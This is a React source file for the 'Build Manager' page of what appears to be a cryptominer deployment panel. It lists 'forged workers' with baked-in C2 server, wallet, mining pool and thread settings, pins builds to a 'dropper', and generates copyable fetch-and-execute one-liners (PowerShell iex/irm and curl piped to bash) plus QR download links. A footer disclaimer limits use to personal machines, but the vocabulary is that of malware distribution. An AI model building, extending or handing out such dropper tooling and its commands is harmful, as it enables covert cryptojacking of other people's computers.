import { useCallback, useEffect, useRef, useState } from 'react';
import { useNavigate } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRecord } from '../types';
import DownloadButton from '../components/DownloadButton';
import AuthDownloadButton from '../components/AuthDownloadButton';
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
import NeonCard from '../components/NeonCard/NeonCard';
import './BuildManagerPage.css';

// ─── helpers ─────────────────────────────────────────────────────────────────

export function truncateWallet(w: string): string {
  if (!w || w.length < 12) return w || '—';
  return `${w.slice(0, 6)}…${w.slice(-6)}`;
}

export function truncateUrl(u: string): string {
  try {
    const parsed = new URL(u);
    return parsed.host;
  } catch {
    return u.length > 30 ? u.slice(0, 28) + '…' : u;
  }
}

export function fmtSize(bytes: number): string {
  if (!bytes) return '—';
  if (bytes >= 1024 * 1024) return `${(bytes / 1024 / 1024).toFixed(1)} MB`;
  return `${(bytes / 1024).toFixed(0)} KB`;
}

function fmtDate(iso: string): string {
  try {
    const d = new Date(iso);
    return d.toLocaleDateString(undefined, { month: 'short', day: 'numeric', year: 'numeric' }) +
      ' ' + d.toLocaleTimeString(undefined, { hour: '2-digit', minute: '2-digit' });
  } catch {
    return iso;
  }
}

export function platformLabel(p?: string): string {
  if (!p) return 'Win';
  const m: Record<string, string> = {
    windows: 'Win', linux: 'Linux', darwin: 'macOS', universal: 'Universal',
  };
  return m[p.toLowerCase()] ?? p;
}

export function platformColor(p?: string): string {
  if (!p) return 'var(--neon-cyan)';
  const m: Record<string, string> = {
    windows: '#00e5ff', linux: '#a3e635', darwin: '#f0abfc', universal: '#ffd700',
  };
  return m[p.toLowerCase()] ?? '#aaa';
}

function CopyButton({ text, label }: { text: string; label: string }) {
  const [copied, setCopied] = useState(false);
  const copy = () => {
    navigator.clipboard.writeText(text).then(() => {
      setCopied(true);
      setTimeout(() => setCopied(false), 1800);
    });
  };
  return (
    <button type="button" className="bm-copy-btn" onClick={copy} title={text}>
      {copied ? '✓ Copied' : label}
    </button>
  );
}

function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) {
  const [confirming, setConfirming] = useState(false);
  const [busy, setBusy] = useState(false);
  const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);

  const handleClick = () => {
    if (!confirming) {
      setConfirming(true);
      timerRef.current = setTimeout(() => setConfirming(false), 3000);
    } else {
      if (timerRef.current) clearTimeout(timerRef.current);
      setBusy(true);
      api.deleteBuild(buildId).finally(() => {
        setBusy(false);
        setConfirming(false);
        onDeleted();
      });
    }
  };

  return (
    <button
      type="button"
      className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
      disabled={busy}
      onClick={handleClick}
      title="Delete this build from server"
    >
      {busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
    </button>
  );
}

function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) {
  const [busy, setBusy] = useState(false);

  const handleClick = async () => {
    if (busy) return;
    setBusy(true);
    try {
      if (pinned) {
        await api.unpinAll();
      } else {
        await api.pinBuild(buildId);
      }
      onPinned();
    } catch (e) {
      console.error(e);
    } finally {
      setBusy(false);
    }
  };

  return (
    <button
      type="button"
      className={`bm-pin-btn${pinned ? ' bm-pin-btn-active' : ''}`}
      disabled={busy}
      onClick={handleClick}
      title={pinned ? 'Unpin — dropper will serve latest build' : 'Pin — dropper will serve this build'}
    >
      {busy ? '…' : pinned ? '📌 Pinned to Dropper' : '📌 Pin to Dropper'}
    </button>
  );
}

// ─── per-build card ───────────────────────────────────────────────────────────

function BuildCard({
  build,
  serverBase,
  onReforge,
  onDeleted,
  onPinned,
}: {
  build: BuildRecord;
  serverBase: string;
  onReforge: (b: BuildRecord) => void;
  onDeleted: () => void;
  onPinned: () => void;
}) {
  const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
  const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
  const isUniversal = build.platform?.toLowerCase() === 'universal';
  const isFusion = !!build.file_name?.includes('runner') || (build.bundle_size && build.bundle_size > 0);

  const ps1 = `iex (irm '${serverBase}/install.ps1')`;
  const sh  = `curl -sL ${serverBase}/install.sh | bash`;

  return (
    <NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card${build.pinned ? ' bm-card-pinned' : ''}`}>
      {/* ── Pinned banner ── */}
      {build.pinned && (
        <div className="bm-pinned-banner">
          📌 ACTIVE DROPPER — <code>iex (irm '{serverBase}/install.ps1')</code> serves this build
        </div>
      )}

      {/* ── Header row ── */}
      <div className="bm-card-header">
        <div className="bm-card-title">
          <span className="bm-worker-name">{build.worker_name || '(unnamed)'}</span>
          <span
            className="bm-platform-badge"
            style={{ color: platformColor(build.platform) }}
          >
            {platformLabel(build.platform)}
          </span>
          {isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
          {isUniversal && !isFusion && <span className="bm-tag bm-tag-universal">UNIVERSAL</span>}
        </div>
        <span className="bm-date">{fmtDate(build.created_at)}</span>
      </div>

      {/* ── Baked settings summary ── */}
      <div className="bm-settings-grid">
        <div className="bm-setting">
          <span className="bm-setting-label">C2</span>
          <span className="bm-setting-value mono" title={build.server_url}>{truncateUrl(build.server_url)}</span>
        </div>
        <div className="bm-setting">
          <span className="bm-setting-label">Wallet</span>
          <span className="bm-setting-value mono" title={build.wallet}>{truncateWallet(build.wallet)}</span>
        </div>
        <div className="bm-setting">
          <span className="bm-setting-label">Pool</span>
          <span className="bm-setting-value mono">
            {build.pool_host || '—'}:{build.pool_port || '—'}
            {build.pool_tls && <span className="bm-tls-badge"> TLS</span>}
          </span>
        </div>
        <div className="bm-setting">
          <span className="bm-setting-label">Threads</span>
          <span className="bm-setting-value">{build.threads || '—'}</span>
        </div>
        <div className="bm-setting">
          <span className="bm-setting-label">Size</span>
          <span className="bm-setting-value">{fmtSize(build.bundle_size || build.file_size)}</span>
        </div>
        <div className="bm-setting">
          <span className="bm-setting-label">File</span>
          <span className="bm-setting-value mono" title={exeName}>{exeName.length > 28 ? exeName.slice(0, 26) + '…' : exeName}</span>
        </div>
      </div>

      {/* ── Download methods ── */}
      <div className="bm-downloads">
        <div className="bm-downloads-label font-tech">DOWNLOAD</div>
        <div className="bm-downloads-row">
          <DownloadButton
            apiPath={build.download_url || api.buildDownloadUrl(build.id)}
            filename={exeName}
            className="btn btn-primary bm-dl-btn"
          >
            ↓ {isUniversal ? 'Universal ZIP' : exeName}
          </DownloadButton>
          <AuthDownloadButton
            apiPath={api.buildUninstallUrl(build.id)}
            filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
            className="btn btn-outline bm-dl-btn"
          >
            ↓ Uninstall script
          </AuthDownloadButton>
          {build.extra_files?.map((f) => (
            <DownloadButton
              key={f.file_name}
              apiPath={api.buildArtifactUrl(build.id, f.file_name)}
              filename={f.file_name}
              className="btn btn-outline bm-dl-btn"
            >
              ↓ {f.file_name}
            </DownloadButton>
          ))}
        </div>
      </div>

      {/* ── Dropper one-liners ── */}
      <div className="bm-dropper">
        <div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div>
        <div className="bm-dropper-row">
          <span className="bm-dropper-os">Win</span>
          <code className="bm-dropper-cmd">{ps1}</code>
          <CopyButton text={ps1} label="Copy" />
        </div>
        <div className="bm-dropper-row">
          <span className="bm-dropper-os">*nix</span>
          <code className="bm-dropper-cmd">{sh}</code>
          <CopyButton text={sh} label="Copy" />
        </div>
        <div className="bm-dropper-row">
          <span className="bm-dropper-os">URL</span>
          <code className="bm-dropper-cmd">{downloadUrl}</code>
          <CopyButton text={downloadUrl} label="Copy" />
        </div>
      </div>

      {/* ── QR + actions ── */}
      <div className="bm-card-footer">
        <div className="bm-qr-wrap">
          <LanDownloadQR url={downloadUrl} />
          <span className="bm-qr-label">Scan to download</span>
        </div>
        <div className="bm-action-btns">
          <PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} />
          <button
            type="button"
            className="btn btn-secondary bm-reforge-btn"
            onClick={() => onReforge(build)}
          >
            ⚒ Re-forge
          </button>
          <DeleteButton buildId={build.id} onDeleted={onDeleted} />
        </div>
      </div>
    </NeonCard>
  );
}

// ─── page ─────────────────────────────────────────────────────────────────────

export default function BuildManagerPage() {
  const [builds, setBuilds] = useState<BuildRecord[]>([]);
  const [loading, setLoading] = useState(true);
  const [error, setError] = useState('');
  const [serverBase, setServerBase] = useState('');
  const navigate = useNavigate();

  const loadBuilds = useCallback(async () => {
    try {
      const list = await api.listBuilds();
      setBuilds(list);
      setError('');
    } catch (e) {
      setError(e instanceof Error ? e.message : 'Failed to load builds');
    } finally {
      setLoading(false);
    }
    // Load server base URL separately so a slow/hung server-info call
    // never blocks the builds list from rendering.
    api.getServerInfo()
      .then((info) => {
        const pub = info?.suggested_url?.trim().replace(/\/$/, '');
        if (pub) setServerBase(pub);
      })
      .catch(() => {/* use window.location.origin fallback already set */});
  }, []);

  useEffect(() => { loadBuilds(); }, [loadBuilds]);

  const handleReforge = useCallback((build: BuildRecord) => {
    // Pass build id as query param so Forge page can pre-fill from it
    navigate(`/forge?reforge=${encodeURIComponent(build.id)}`);
  }, [navigate]);

  return (
    <div className="page fade-in bm-page">
      <div className="bm-header">
        <div>
          <h1 className="font-display bm-title">Build Manager</h1>
          <p className="form-hint bm-subtitle">
            All forged workers — download, deploy, re-forge, or delete from any browser.
          </p>
        </div>
        <div className="bm-header-actions">
          <button type="button" className="btn btn-outline" onClick={loadBuilds} disabled={loading}>
            {loading ? 'Loading…' : '↻ Refresh'}
          </button>
          <button type="button" className="btn btn-success" onClick={() => navigate('/forge')}>
            ⚒ New Forge
          </button>
        </div>
      </div>

      {error && (
        <div className="form-error" style={{ marginBottom: '1rem' }}>
          <span>⚠️</span> {error}
        </div>
      )}

      {!loading && builds.length === 0 && !error && (
        <NeonCard accent="cyan" className="bm-empty">
          <p className="font-tech" style={{ color: 'var(--neon-cyan)' }}>NO BUILDS YET</p>
          <p className="form-hint">Head to Forge, fill in your config, and click FORGE INSTALLER.</p>
          <button type="button" className="btn btn-primary" onClick={() => navigate('/forge')} style={{ marginTop: '0.75rem' }}>
            Go to Forge
          </button>
        </NeonCard>
      )}

      {loading && (
        <div className="bm-loading">
          <span className="font-tech" style={{ color: 'var(--neon-cyan)', fontSize: '0.85rem' }}>LOADING BUILDS…</span>
        </div>
      )}

      <div className="bm-grid">
        {builds.map((build) => (
          <BuildCard
            key={build.id}
            build={build}
            serverBase={serverBase}
            onReforge={handleReforge}
            onDeleted={loadBuilds}
            onPinned={loadBuilds}
          />
        ))}
      </div>

      <footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
        ⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
      </footer>
    </div>
  );
}
